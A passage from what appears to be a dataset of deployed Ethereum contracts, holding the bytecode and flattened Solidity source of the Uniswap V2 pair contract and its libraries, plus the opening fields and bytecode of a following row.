0000000000000000000000000000000000000815260206004820152601460248201527f556e697377617056323a20464f5242494444454e000000000000000000000000604482015290519081900360640190fd5b6006805473ffffffffffffffffffffffffffffffffffffffff9384167fffffffffffffffffffffffff00000000000000000000000000000000000000009182161790915560078054929093169116179055565b60095481565b600a5481565b6000600c5460011461108457604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c81905580611094610d90565b50600654604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905193955091935060009273ffffffffffffffffffffffffffffffffffffffff909116916370a08231916024808301926020929190829003018186803b15801561110e57600080fd5b505afa158015611122573d6000803e3d6000fd5b505050506040513d602081101561113857600080fd5b5051600754604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905192935060009273ffffffffffffffffffffffffffffffffffffffff909216916370a0823191602480820192602092909190829003018186803b1580156111b157600080fd5b505afa1580156111c5573d6000803e3d6000fd5b505050506040513d60208110156111db57600080fd5b505190506000611201836dffffffffffffffffffffffffffff871663ffffffff61226e16565b90506000611225836dffffffffffffffffffffffffffff871663ffffffff61226e16565b9050600061123387876126ec565b600054909150806112705761125c6103e8610bfd611257878763ffffffff6121e816565b612878565b985061126b60006103e86128ca565b6112cd565b6112ca6dffffffffffffffffffffffffffff8916611294868463ffffffff6121e816565b8161129b57fe5b046dffffffffffffffffffffffffffff89166112bd868563ffffffff6121e816565b816112c457fe5b0461297a565b98505b60008911611326576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526028815260200180612bc16028913960400191505060405180910390fd5b6113308a8a6128ca565b61133c86868a8a6122e0565b811561137e5760085461137a906dffffffffffffffffffffffffffff808216916e01000000000000000000000000000090041663ffffffff6121e816565b600b555b6040805185815260208101859052815133927f4c209b5fc8ad50758f13e2e1088ba56a560dff690a1c6fef26394f4c03821c4f928290030190a250506001600c5550949695505050505050565b60016020526000908152604090205481565b600b5481565b60046020526000908152604090205481565b600080600c5460011461146957604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c81905580611479610d90565b50600654600754604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905194965092945073ffffffffffffffffffffffffffffffffffffffff9182169391169160009184916370a08231916024808301926020929190829003018186803b1580156114fb57600080fd5b505afa15801561150f573d6000803e3d6000fd5b505050506040513d602081101561152557600080fd5b5051604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905191925060009173ffffffffffffffffffffffffffffffffffffffff8516916370a08231916024808301926020929190829003018186803b15801561159957600080fd5b505afa1580156115ad573d6000803e3d6000fd5b505050506040513d60208110156115c357600080fd5b5051306000908152600160205260408120549192506115e288886126ec565b600054909150806115f9848763ffffffff6121e816565b8161160057fe5b049a5080611614848663ffffffff6121e816565b8161161b57fe5b04995060008b11801561162e575060008a115b611683576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526028815260200180612b996028913960400191505060405180910390fd5b61168d3084612992565b611698878d8d611fdb565b6116a3868d8c611fdb565b604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff8916916370a08231916024808301926020929190829003018186803b15801561170f57600080fd5b505afa158015611723573d6000803e3d6000fd5b505050506040513d602081101561173957600080fd5b5051604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905191965073ffffffffffffffffffffffffffffffffffffffff8816916370a0823191602480820192602092909190829003018186803b1580156117ab57600080fd5b505afa1580156117bf573d6000803e3d6000fd5b505050506040513d60208110156117d557600080fd5b505193506117e585858b8b6122e0565b811561182757600854611823906dffffffffffffffffffffffffffff808216916e01000000000000000000000000000090041663ffffffff6121e816565b600b555b604080518c8152602081018c9052815173ffffffffffffffffffffffffffffffffffffffff8f169233927fdccd412f0b1252819cb1fd330b93224ca42612892bb3f4f789976e6d81936496929081900390910190a35050505050505050506001600c81905550915091565b6040518060400160405280600681526020017f554e492d5632000000000000000000000000000000000000000000000000000081525081565b6000610df233848461260b565b6103e881565b600c5460011461194f57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c55600654600754600854604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff9485169490931692611a2b9285928792611a26926dffffffffffffffffffffffffffff169185916370a0823191602480820192602092909190829003018186803b1580156119ee57600080fd5b505afa158015611a02573d6000803e3d6000fd5b505050506040513d6020811015611a1857600080fd5b50519063ffffffff61226e16565b611fdb565b600854604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051611aca9284928792611a26926e01000000000000000000000000000090046dffffffffffffffffffffffffffff169173ffffffffffffffffffffffffffffffffffffffff8616916370a0823191602480820192602092909190829003018186803b1580156119ee57600080fd5b50506001600c5550565b60055473ffffffffffffffffffffffffffffffffffffffff1681565b60075473ffffffffffffffffffffffffffffffffffffffff1681565b42841015611b7b57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601260248201527f556e697377617056323a20455850495245440000000000000000000000000000604482015290519081900360640190fd5b60035473ffffffffffffffffffffffffffffffffffffffff80891660008181526004602090815260408083208054600180820190925582517f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c98186015280840196909652958d166060860152608085018c905260a085019590955260c08085018b90528151808603909101815260e0850182528051908301207f19010000000000000000000000000000000000000000000000000000000000006101008601526101028501969096526101228085019690965280518085039096018652610142840180825286519683019690962095839052610162840180825286905260ff89166101828501526101a284018890526101c28401879052519193926101e2808201937fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe081019281900390910190855afa158015611cdc573d6000803e3d6000fd5b50506040517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0015191505073ffffffffffffffffffffffffffffffffffffffff811615801590611d5757508873ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b611dc257604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f556e697377617056323a20494e56414c49445f5349474e415455524500000000604482015290519081900360640190fd5b611dcd89898961259c565b505050505050505050565b600260209081526000928352604080842090915290825290205481565b600c54600114611e6657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c55600654604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051611fd49273ffffffffffffffffffffffffffffffffffffffff16916370a08231916024808301926020929190829003018186803b158015611edd57600080fd5b505afa158015611ef1573d6000803e3d6000fd5b505050506040513d6020811015611f0757600080fd5b5051600754604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff909216916370a0823191602480820192602092909190829003018186803b158015611f7a57600080fd5b505afa158015611f8e573d6000803e3d6000fd5b505050506040513d6020811015611fa457600080fd5b50516008546dffffffffffffffffffffffffffff808216916e0100000000000000000000000000009004166122e0565b6001600c55565b604080518082018252601981527f7472616e7366657228616464726573732c75696e743235362900000000000000602091820152815173ffffffffffffffffffffffffffffffffffffffff85811660248301526044808301869052845180840390910181526064909201845291810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fa9059cbb000000000000000000000000000000000000000000000000000000001781529251815160009460609489169392918291908083835b602083106120e157805182527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe090920191602091820191016120a4565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114612143576040519150601f19603f3d011682016040523d82523d6000602084013e612148565b606091505b5091509150818015612176575080511580612176575080806020019051602081101561217357600080fd5b50515b6121e157604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f556e697377617056323a205452414e534645525f4641494c4544000000000000604482015290519081900360640190fd5b5050505050565b60008115806122035750508082028282828161220057fe5b04145b610df657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f64732d6d6174682d6d756c2d6f766572666c6f77000000000000000000000000604482015290519081900360640190fd5b80820382811115610df657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f64732d6d6174682d7375622d756e646572666c6f770000000000000000000000604482015290519081900360640190fd5b6dffffffffffffffffffffffffffff841180159061230c57506dffffffffffffffffffffffffffff8311155b61237757604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601360248201527f556e697377617056323a204f564552464c4f5700000000000000000000000000604482015290519081900360640190fd5b60085463ffffffff428116917c0100000000000000000000000000000000000000000000000000000000900481168203908116158015906123c757506dffffffffffffffffffffffffffff841615155b80156123e257506dffffffffffffffffffffffffffff831615155b15612492578063ffffffff16612425856123fb86612a57565b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff169063ffffffff612a7b16565b600980547bffffffffffffffffffffffffffffffffffffffffffffffffffffffff929092169290920201905563ffffffff8116612465846123fb87612a57565b600a80547bffffffffffffffffffffffffffffffffffffffffffffffffffffffff92909216929092020190555b600880547fffffffffffffffffffffffffffffffffffff0000000000000000000000000000166dffffffffffffffffffffffffffff888116919091177fffffffff0000000000000000000000000000ffffffffffffffffffffffffffff166e0100000000000000000000000000008883168102919091177bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167c010000000000000000000000000000000000000000000000000000000063ffffffff871602179283905560408051848416815291909304909116602082015281517f1c411e9a96e071241c2f21f7726b17ae89e3cab4c78be50e062b03a9fffbbad1929181900390910190a1505050505050565b73ffffffffffffffffffffffffffffffffffffffff808416600081815260026020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b73ffffffffffffffffffffffffffffffffffffffff8316600090815260016020526040902054612641908263ffffffff61226e16565b73ffffffffffffffffffffffffffffffffffffffff8085166000908152600160205260408082209390935590841681522054612683908263ffffffff612abc16565b73ffffffffffffffffffffffffffffffffffffffff80841660008181526001602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b600080600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663017e7e586040518163ffffffff1660e01b815260040160206040518083038186803b15801561275757600080fd5b505afa15801561276b573d6000803e3d6000fd5b505050506040513d602081101561278157600080fd5b5051600b5473ffffffffffffffffffffffffffffffffffffffff821615801594509192509061286457801561285f5760006127d86112576dffffffffffffffffffffffffffff88811690881663ffffffff6121e816565b905060006127e583612878565b90508082111561285c576000612813612804848463ffffffff61226e16565b6000549063ffffffff6121e816565b905060006128388361282c86600563ffffffff6121e816565b9063ffffffff612abc16565b9050600081838161284557fe5b04905080156128585761285887826128ca565b5050505b50505b612870565b8015612870576000600b555b505092915050565b600060038211156128bb575080600160028204015b818110156128b5578091506002818285816128a457fe5b0401816128ad57fe5b04905061288d565b506128c5565b81156128c5575060015b919050565b6000546128dd908263ffffffff612abc16565b600090815573ffffffffffffffffffffffffffffffffffffffff8316815260016020526040902054612915908263ffffffff612abc16565b73ffffffffffffffffffffffffffffffffffffffff831660008181526001602090815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b6000818310612989578161298b565b825b9392505050565b73ffffffffffffffffffffffffffffffffffffffff82166000908152600160205260409020546129c8908263ffffffff61226e16565b73ffffffffffffffffffffffffffffffffffffffff831660009081526001602052604081209190915554612a02908263ffffffff61226e16565b600090815560408051838152905173ffffffffffffffffffffffffffffffffffffffff8516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef919081900360200190a35050565b6dffffffffffffffffffffffffffff166e0100000000000000000000000000000290565b60006dffffffffffffffffffffffffffff82167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff841681612ab457fe5b049392505050565b80820182811015610df657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f64732d6d6174682d6164642d6f766572666c6f77000000000000000000000000604482015290519081900360640190fdfe556e697377617056323a20494e53554646494349454e545f4f55545055545f414d4f554e54556e697377617056323a20494e53554646494349454e545f494e5055545f414d4f554e54556e697377617056323a20494e53554646494349454e545f4c4951554944495459556e697377617056323a20494e53554646494349454e545f4c49515549444954595f4255524e4544556e697377617056323a20494e53554646494349454e545f4c49515549444954595f4d494e544544a265627a7a723158207dca18479e58487606bf70c79e44d8dee62353c9ee6d01f9a9d70885b8765f2264736f6c63430005100032 | // File: contracts/interfaces/IUniswapV2Pair.sol
pragma solidity >=0.5.0;
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
// File: contracts/interfaces/IUniswapV2ERC20.sol
pragma solidity >=0.5.0;
interface IUniswapV2ERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
}
// File: contracts/libraries/SafeMath.sol
pragma solidity =0.5.16;
// a library for performing overflow-safe math, courtesy of DappHub (https://github.com/dapphub/ds-math)
library SafeMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x, 'ds-math-add-overflow');
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x, 'ds-math-sub-underflow');
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow');
}
}
// File: contracts/UniswapV2ERC20.sol
pragma solidity =0.5.16;
contract UniswapV2ERC20 is IUniswapV2ERC20 {
using SafeMath for uint;
string public constant name = 'Uniswap V2';
string public constant symbol = 'UNI-V2';
uint8 public constant decimals = 18;
uint public totalSupply;
mapping(address => uint) public balanceOf;
mapping(address => mapping(address => uint)) public allowance;
bytes32 public DOMAIN_SEPARATOR;
// keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;
mapping(address => uint) public nonces;
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
constructor() public {
uint chainId;
assembly {
chainId := chainid
}
DOMAIN_SEPARATOR = keccak256(
abi.encode(
keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)'),
keccak256(bytes(name)),
keccak256(bytes('1')),
chainId,
address(this)
)
);
}
function _mint(address to, uint value) internal {
totalSupply = totalSupply.add(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(address(0), to, value);
}
function _burn(address from, uint value) internal {
balanceOf[from] = balanceOf[from].sub(value);
totalSupply = totalSupply.sub(value);
emit Transfer(from, address(0), value);
}
function _approve(address owner, address spender, uint value) private {
allowance[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _transfer(address from, address to, uint value) private {
balanceOf[from] = balanceOf[from].sub(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(from, to, value);
}
function approve(address spender, uint value) external returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transfer(address to, uint value) external returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function transferFrom(address from, address to, uint value) external returns (bool) {
if (allowance[from][msg.sender] != uint(-1)) {
allowance[from][msg.sender] = allowance[from][msg.sender].sub(value);
}
_transfer(from, to, value);
return true;
}
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external {
require(deadline >= block.timestamp, 'UniswapV2: EXPIRED');
bytes32 digest = keccak256(
abi.encodePacked(
'\x19\x01',
DOMAIN_SEPARATOR,
keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline))
)
);
address recoveredAddress = ecrecover(digest, v, r, s);
require(recoveredAddress != address(0) && recoveredAddress == owner, 'UniswapV2: INVALID_SIGNATURE');
_approve(owner, spender, value);
}
}
// File: contracts/libraries/Math.sol
pragma solidity =0.5.16;
// a library for performing various math operations
library Math {
function min(uint x, uint y) internal pure returns (uint z) {
z = x < y ? x : y;
}
// babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method)
function sqrt(uint y) internal pure returns (uint z) {
if (y > 3) {
z = y;
uint x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
// File: contracts/libraries/UQ112x112.sol
pragma solidity =0.5.16;
// a library for handling binary fixed point numbers (https://en.wikipedia.org/wiki/Q_(number_format))
// range: [0, 2**112 - 1]
// resolution: 1 / 2**112
library UQ112x112 {
uint224 constant Q112 = 2**112;
// encode a uint112 as a UQ112x112
function encode(uint112 y) internal pure returns (uint224 z) {
z = uint224(y) * Q112; // never overflows
}
// divide a UQ112x112 by a uint112, returning a UQ112x112
function uqdiv(uint224 x, uint112 y) internal pure returns (uint224 z) {
z = x / uint224(y);
}
}
// File: contracts/interfaces/IERC20.sol
pragma solidity >=0.5.0;
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
}
// File: contracts/interfaces/IUniswapV2Factory.sol
pragma solidity >=0.5.0;
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
// File: contracts/interfaces/IUniswapV2Callee.sol
pragma solidity >=0.5.0;
interface IUniswapV2Callee {
function uniswapV2Call(address sender, uint amount0, uint amount1, bytes calldata data) external;
}
// File: contracts/UniswapV2Pair.sol
pragma solidity =0.5.16;
contract UniswapV2Pair is IUniswapV2Pair, UniswapV2ERC20 {
using SafeMath for uint;
using UQ112x112 for uint224;
uint public constant MINIMUM_LIQUIDITY = 10**3;
bytes4 private constant SELECTOR = bytes4(keccak256(bytes('transfer(address,uint256)')));
address public factory;
address public token0;
address public token1;
uint112 private reserve0; // uses single storage slot, accessible via getReserves
uint112 private reserve1; // uses single storage slot, accessible via getReserves
uint32 private blockTimestampLast; // uses single storage slot, accessible via getReserves
uint public price0CumulativeLast;
uint public price1CumulativeLast;
uint public kLast; // reserve0 * reserve1, as of immediately after the most recent liquidity event
uint private unlocked = 1;
modifier lock() {
require(unlocked == 1, 'UniswapV2: LOCKED');
unlocked = 0;
_;
unlocked = 1;
}
function getReserves() public view returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast) {
_reserve0 = reserve0;
_reserve1 = reserve1;
_blockTimestampLast = blockTimestampLast;
}
function _safeTransfer(address token, address to, uint value) private {
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(SELECTOR, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'UniswapV2: TRANSFER_FAILED');
}
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
constructor() public {
factory = msg.sender;
}
// called once by the factory at time of deployment
function initialize(address _token0, address _token1) external {
require(msg.sender == factory, 'UniswapV2: FORBIDDEN'); // sufficient check
token0 = _token0;
token1 = _token1;
}
// update reserves and, on the first call per block, price accumulators
function _update(uint balance0, uint balance1, uint112 _reserve0, uint112 _reserve1) private {
require(balance0 <= uint112(-1) && balance1 <= uint112(-1), 'UniswapV2: OVERFLOW');
uint32 blockTimestamp = uint32(block.timestamp % 2**32);
uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired
if (timeElapsed > 0 && _reserve0 != 0 && _reserve1 != 0) {
// * never overflows, and + overflow is desired
price0CumulativeLast += uint(UQ112x112.encode(_reserve1).uqdiv(_reserve0)) * timeElapsed;
price1CumulativeLast += uint(UQ112x112.encode(_reserve0).uqdiv(_reserve1)) * timeElapsed;
}
reserve0 = uint112(balance0);
reserve1 = uint112(balance1);
blockTimestampLast = blockTimestamp;
emit Sync(reserve0, reserve1);
}
// if fee is on, mint liquidity equivalent to 1/6th of the growth in sqrt(k)
function _mintFee(uint112 _reserve0, uint112 _reserve1) private returns (bool feeOn) {
address feeTo = IUniswapV2Factory(factory).feeTo();
feeOn = feeTo != address(0);
uint _kLast = kLast; // gas savings
if (feeOn) {
if (_kLast != 0) {
uint rootK = Math.sqrt(uint(_reserve0).mul(_reserve1));
uint rootKLast = Math.sqrt(_kLast);
if (rootK > rootKLast) {
uint numerator = totalSupply.mul(rootK.sub(rootKLast));
uint denominator = rootK.mul(5).add(rootKLast);
uint liquidity = numerator / denominator;
if (liquidity > 0) _mint(feeTo, liquidity);
}
}
} else if (_kLast != 0) {
kLast = 0;
}
}
// this low-level function should be called from a contract which performs important safety checks
function mint(address to) external lock returns (uint liquidity) {
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
uint balance0 = IERC20(token0).balanceOf(address(this));
uint balance1 = IERC20(token1).balanceOf(address(this));
uint amount0 = balance0.sub(_reserve0);
uint amount1 = balance1.sub(_reserve1);
bool feeOn = _mintFee(_reserve0, _reserve1);
uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
if (_totalSupply == 0) {
liquidity = Math.sqrt(amount0.mul(amount1)).sub(MINIMUM_LIQUIDITY);
_mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens
} else {
liquidity = Math.min(amount0.mul(_totalSupply) / _reserve0, amount1.mul(_totalSupply) / _reserve1);
}
require(liquidity > 0, 'UniswapV2: INSUFFICIENT_LIQUIDITY_MINTED');
_mint(to, liquidity);
_update(balance0, balance1, _reserve0, _reserve1);
if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date
emit Mint(msg.sender, amount0, amount1);
}
// this low-level function should be called from a contract which performs important safety checks
function burn(address to) external lock returns (uint amount0, uint amount1) {
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
address _token0 = token0; // gas savings
address _token1 = token1; // gas savings
uint balance0 = IERC20(_token0).balanceOf(address(this));
uint balance1 = IERC20(_token1).balanceOf(address(this));
uint liquidity = balanceOf[address(this)];
bool feeOn = _mintFee(_reserve0, _reserve1);
uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
amount0 = liquidity.mul(balance0) / _totalSupply; // using balances ensures pro-rata distribution
amount1 = liquidity.mul(balance1) / _totalSupply; // using balances ensures pro-rata distribution
require(amount0 > 0 && amount1 > 0, 'UniswapV2: INSUFFICIENT_LIQUIDITY_BURNED');
_burn(address(this), liquidity);
_safeTransfer(_token0, to, amount0);
_safeTransfer(_token1, to, amount1);
balance0 = IERC20(_token0).balanceOf(address(this));
balance1 = IERC20(_token1).balanceOf(address(this));
_update(balance0, balance1, _reserve0, _reserve1);
if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date
emit Burn(msg.sender, amount0, amount1, to);
}
// this low-level function should be called from a contract which performs important safety checks
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external lock {
require(amount0Out > 0 || amount1Out > 0, 'UniswapV2: INSUFFICIENT_OUTPUT_AMOUNT');
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
require(amount0Out < _reserve0 && amount1Out < _reserve1, 'UniswapV2: INSUFFICIENT_LIQUIDITY');
uint balance0;
uint balance1;
{ // scope for _token{0,1}, avoids stack too deep errors
address _token0 = token0;
address _token1 = token1;
require(to != _token0 && to != _token1, 'UniswapV2: INVALID_TO');
if (amount0Out > 0) _safeTransfer(_token0, to, amount0Out); // optimistically transfer tokens
if (amount1Out > 0) _safeTransfer(_token1, to, amount1Out); // optimistically transfer tokens
if (data.length > 0) IUniswapV2Callee(to).uniswapV2Call(msg.sender, amount0Out, amount1Out, data);
balance0 = IERC20(_token0).balanceOf(address(this));
balance1 = IERC20(_token1).balanceOf(address(this));
}
uint amount0In = balance0 > _reserve0 - amount0Out ? balance0 - (_reserve0 - amount0Out) : 0;
uint amount1In = balance1 > _reserve1 - amount1Out ? balance1 - (_reserve1 - amount1Out) : 0;
require(amount0In > 0 || amount1In > 0, 'UniswapV2: INSUFFICIENT_INPUT_AMOUNT');
{ // scope for reserve{0,1}Adjusted, avoids stack too deep errors
uint balance0Adjusted = balance0.mul(1000).sub(amount0In.mul(3));
uint balance1Adjusted = balance1.mul(1000).sub(amount1In.mul(3));
require(balance0Adjusted.mul(balance1Adjusted) >= uint(_reserve0).mul(_reserve1).mul(1000**2), 'UniswapV2: K');
}
_update(balance0, balance1, _reserve0, _reserve1);
emit Swap(msg.sender, amount0In, amount1In, amount0Out, amount1Out, to);
}
// force balances to match reserves
function skim(address to) external lock {
address _token0 = token0; // gas savings
address _token1 = token1; // gas savings
_safeTransfer(_token0, to, IERC20(_token0).balanceOf(address(this)).sub(reserve0));
_safeTransfer(_token1, to, IERC20(_token1).balanceOf(address(this)).sub(reserve1));
}
// force reserves to match balances
function sync() external lock {
_update(IERC20(token0).balanceOf(address(this)), IERC20(token1).balanceOf(address(this)), reserve0, reserve1);
}
} |
1 | 20,290,805 | 25eeb207b080415ce2253f7a66bacb8a44273e824865bd3595c4269b6f16ceaf | b13503c5b31c2c3584d554763f34f5008d4dda889aab0e0e4de184ebf602508d | 4a6c595410176276bcb92d4d583ae00aa4723cf8 | 4a6c595410176276bcb92d4d583ae00aa4723cf8 | d3981723c58e079af46172fa176b4cf5f73808e0 | 6080604052601460065560146007555f6008555f6009556014600a556014600b556014600c555f600d556009600a62000039919062000338565b62000049906301c9c3806200034f565b600e556200005a6009600a62000338565b6200006a906301c9c3806200034f565b600f556200007b6009600a62000338565b6200008a90620f42406200034f565b6010556200009b6009600a62000338565b620000ab906301c9c3806200034f565b6011556013805461ffff60a81b191690555f6014819055601555348015620000d1575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600580546001600160a01b03191633179055620001326009600a62000338565b6200014290633b9aca006200034f565b335f9081526001602081905260408220929092556003906200016b5f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff199687161790553081526003909352818320805485166001908117909155600554909116835291208054909216179055620001c93390565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002026009600a62000338565b6200021290633b9aca006200034f565b60405190815260200160405180910390a362000369565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200027d57815f190482111562000261576200026162000229565b808516156200026f57918102915b93841c939080029062000242565b509250929050565b5f82620002955750600162000332565b81620002a357505f62000332565b8160018114620002bc5760028114620002c757620002e7565b600191505062000332565b60ff841115620002db57620002db62000229565b50506001821b62000332565b5060208310610133831016604e8410600b84101617156200030c575081810a62000332565b6200031883836200023d565b805f19048211156200032e576200032e62000229565b0290505b92915050565b5f6200034860ff84168362000285565b9392505050565b808202811582820484141762000332576200033262000229565b611a7680620003775f395ff3fe608060405260043610610134575f3560e01c8063751039fc116100a8578063a9059cbb1161006d578063a9059cbb14610337578063bf474bed14610356578063c9567bf914610